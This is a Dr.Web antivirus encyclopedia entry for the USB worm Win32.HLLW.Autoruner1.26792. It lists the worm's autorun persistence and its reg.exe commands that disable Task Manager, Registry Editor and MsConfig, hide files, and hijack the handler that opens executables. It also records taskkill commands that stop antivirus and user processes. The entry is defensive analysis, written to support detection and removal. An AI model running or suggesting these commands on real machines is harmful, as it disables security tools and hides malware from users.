Pour le fonctionnement correct du site, vous devez activer JavaScript dans votre navigateur.
Win32.HLLW.Autoruner1.26792
Added to the Dr.Web virus database:
2012-09-26
Virus description added:
2012-10-17
Technical Information
To ensure autorun and distribution:
Modifies the following registry keys:
[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'msngms' = '<SYSTEM32>\ijava.exe'
[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'msngms' = '<SYSTEM32>\bit.pif'
Creates the following files on removable media:
<Drive name for removable media>:\autorun.inf
Malicious functions:
To complicate detection of its presence in the operating system,
forces the system hide from view:
hidden files
file extensions
blocks execution of the following system utilities:
Windows Task Manager (Taskmgr)
Registry Editor (RegEdit)
Executes the following:
<SYSTEM32>\attrib.exe +R +S +H Y:\autorun.inf
<SYSTEM32>\attrib.exe +R +S +H Z:\autorun.inf
<SYSTEM32>\attrib.exe +R +S +H W:\autorun.inf
<SYSTEM32>\attrib.exe +R +S +H X:\autorun.inf
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoFolderOptions /t REG_DWORD /d "1" /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\Currentversion\Policies\System" /v DisableTaskMgr /t reg_dword /d "1" /f
<SYSTEM32>\reg.exe add HKcU\Software\Microsoft\Windows\CurrentVersion\Policies\system /v disabletaskmgr /t REG_DWORD /d 1 /f
<SYSTEM32>\reg.exe add HKlm\Software\Microsoft\Windows\CurrentVersion\Policies\system /v disabletaskmgr /t REG_DWORD /d 1 /f
<SYSTEM32>\attrib.exe +R +S +H Q:\autorun.inf
<SYSTEM32>\attrib.exe +R +S +H R:\autorun.inf
<SYSTEM32>\attrib.exe +R +S +H O:\autorun.inf
<SYSTEM32>\attrib.exe +R +S +H P:\autorun.inf
<SYSTEM32>\attrib.exe +R +S +H U:\autorun.inf
<SYSTEM32>\attrib.exe +R +S +H V:\autorun.inf
<SYSTEM32>\attrib.exe +R +S +H S:\autorun.inf
<SYSTEM32>\attrib.exe +R +S +H T:\autorun.inf
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t reg_dword /d "1" /f
<SYSTEM32>\reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSetTaskbar /t reg_dword /d 00000001 /f
<SYSTEM32>\reg.exe add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_ DWORD /d 1 /f
<SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control" /v "WaitToKillServiceTimeout" /d "40000" /F
<SYSTEM32>\reg.exe add "HKEY_CURRENT_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoCLose /t reg_dword /d 00000001 /f
<SYSTEM32>\reg.exe add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 0 /f
<SYSTEM32>\reg.exe add HKCR\exefile\shell\open\command /v asd /t REG_SZ /d <SYSTEM32>\bit.pif /f
<SYSTEM32>\reg.exe add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFolderOptions /t REG_DWORD /d 1 /f
<SYSTEM32>\reg.exe add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableMsConfig /t REG_DWORD /d 1 /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d "1" /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d "0" /f
<SYSTEM32>\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL" /v CheckedValue /t reg_dword /d "1" /f
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v Hidden /t REG_DWORD /d "2" /f
<SYSTEM32>\reg.exe add "HKCU\Control Panel\desktop" /v "WaitToKillAppTimeout" /d "40000" /F
<SYSTEM32>\reg.exe add "HKCU\Control Panel\desktop" /v "WaitToKillServiceTimeout" /d "40000" /F
<SYSTEM32>\reg.exe add "HKCU\Control Panel\desktop" /v "AutoEndTasks" /d "0" /F
<SYSTEM32>\reg.exe add "HKCU\Control Panel\desktop" /v "HungAppTimeout" /d "40000" /F
<SYSTEM32>\taskkill.exe /F /IM wmplayer.exe /IM wmplayer.exe
<SYSTEM32>\taskkill.exe /F /IM WINWORD.EXE /IM WINWORD.EXE
<SYSTEM32>\taskkill.exe /F /IM avp.exe /IM avp.exe
<SYSTEM32>\taskkill.exe /F /IM POWERPNT.EXE /IM POWERPNT.EXE
<SYSTEM32>\taskkill.exe /F /IM firefox.exe /IM firefox.exe
<SYSTEM32>\taskkill.exe /F /IM IEXPLORE.exe /IM IEXPLORE.exe
<SYSTEM32>\taskkill.exe /F /IM notepad.exe /IM notepad.exe
<SYSTEM32>\taskkill.exe /F /IM taskmgr.exe /IM taskmgr.exe
<SYSTEM32>\reg.exe add "HKLM\software\microsoft\windows\currentversion\run" /v msngms /d "<SYSTEM32>\ijava.exe" /f
<SYSTEM32>\taskkill.exe /F /IM msnmsgr.exe /IM msnmsgr.exe
<SYSTEM32>\cmd.exe /c ""%TEMP%\1.tmp\amx.bat" "
<SYSTEM32>\reg.exe add "HKLM\software\microsoft\windows\currentversion\run" /v msngms /d "<SYSTEM32>\bit.pif" /f
<SYSTEM32>\taskkill.exe /F /IM avastui.exe /IM avastui.exe
<SYSTEM32>\taskkill.exe /F /IM avastSvc.exe /IM avastSvc.exe
<SYSTEM32>\taskkill.exe /F /IM nod32krm.exe /IM nod32krm.exe
<SYSTEM32>\taskkill.exe /F /IM nod32kui.exe /IM nod32kui.exe
<SYSTEM32>\attrib.exe -h -s -r autorun.inf
<SYSTEM32>\attrib.exe +R +S +H I:\autorun.inf
<SYSTEM32>\attrib.exe +R +S +H J:\autorun.inf
<SYSTEM32>\attrib.exe +R +S +H G:\autorun.inf
<SYSTEM32>\attrib.exe +R +S +H H:\autorun.inf
<SYSTEM32>\attrib.exe +R +S +H M:\autorun.inf
<SYSTEM32>\attrib.exe +R +S +H N:\autorun.inf
<SYSTEM32>\attrib.exe +R +S +H K:\autorun.inf
<SYSTEM32>\attrib.exe +R +S +H L:\autorun.inf
<SYSTEM32>\attrib.exe "E:\amx.exe" +s +r +h
<SYSTEM32>\attrib.exe "Z:\amx.exe" +s +r +h
<SYSTEM32>\attrib.exe -h -s -r amx.exe
<SYSTEM32>\attrib.exe "C:\amx.exe" +s +r +h
<SYSTEM32>\attrib.exe +R +S +H E:\autorun.inf
<SYSTEM32>\attrib.exe +R +S +H F:\autorun.inf
<SYSTEM32>\attrib.exe +R +S +H C:\autorun.inf
<SYSTEM32>\attrib.exe +R +S +H <Drive name for removable media>:\autorun.inf
Terminates or attempts to terminate
the following user processes:
firefox.exe
iexplore.exe
msnmsgr.exe
AVP.EXE
Modifies settings of Windows Explorer:
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoSetTaskbar' = '00000001'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoFolderOptions' = '00000001'
Modifies file system :
Creates the following files:
<Current directory>\autorun.inf
C:\autorun.inf
%TEMP%\1.tmp\amx.bat
<Current directory>\nvappbar.exe
Sets the 'hidden' attribute to the following files:
<Drive name for removable media>:\autorun.inf
C:\autorun.inf
Miscellaneous:
Searches for the following windows:
ClassName: '' WindowName: ''
Téléchargez Dr.Web pour Android
Gratuit pour 3 mois
Tous les composants de protection
Renouvellement de la démo via AppGallery/Google Pay
Nous utilisons des cookies sur notre site web à des fins d’analyse et de récolte de données statistiques. En naviguant sur notre site, vous pouvez accepter ou refuser l’utilisation de ces fichiers cookies, sauf ceux strictement nécessaires au fonctionnement du site web.
En savoir plus : Politique de confidentialité
Accepter
Refuser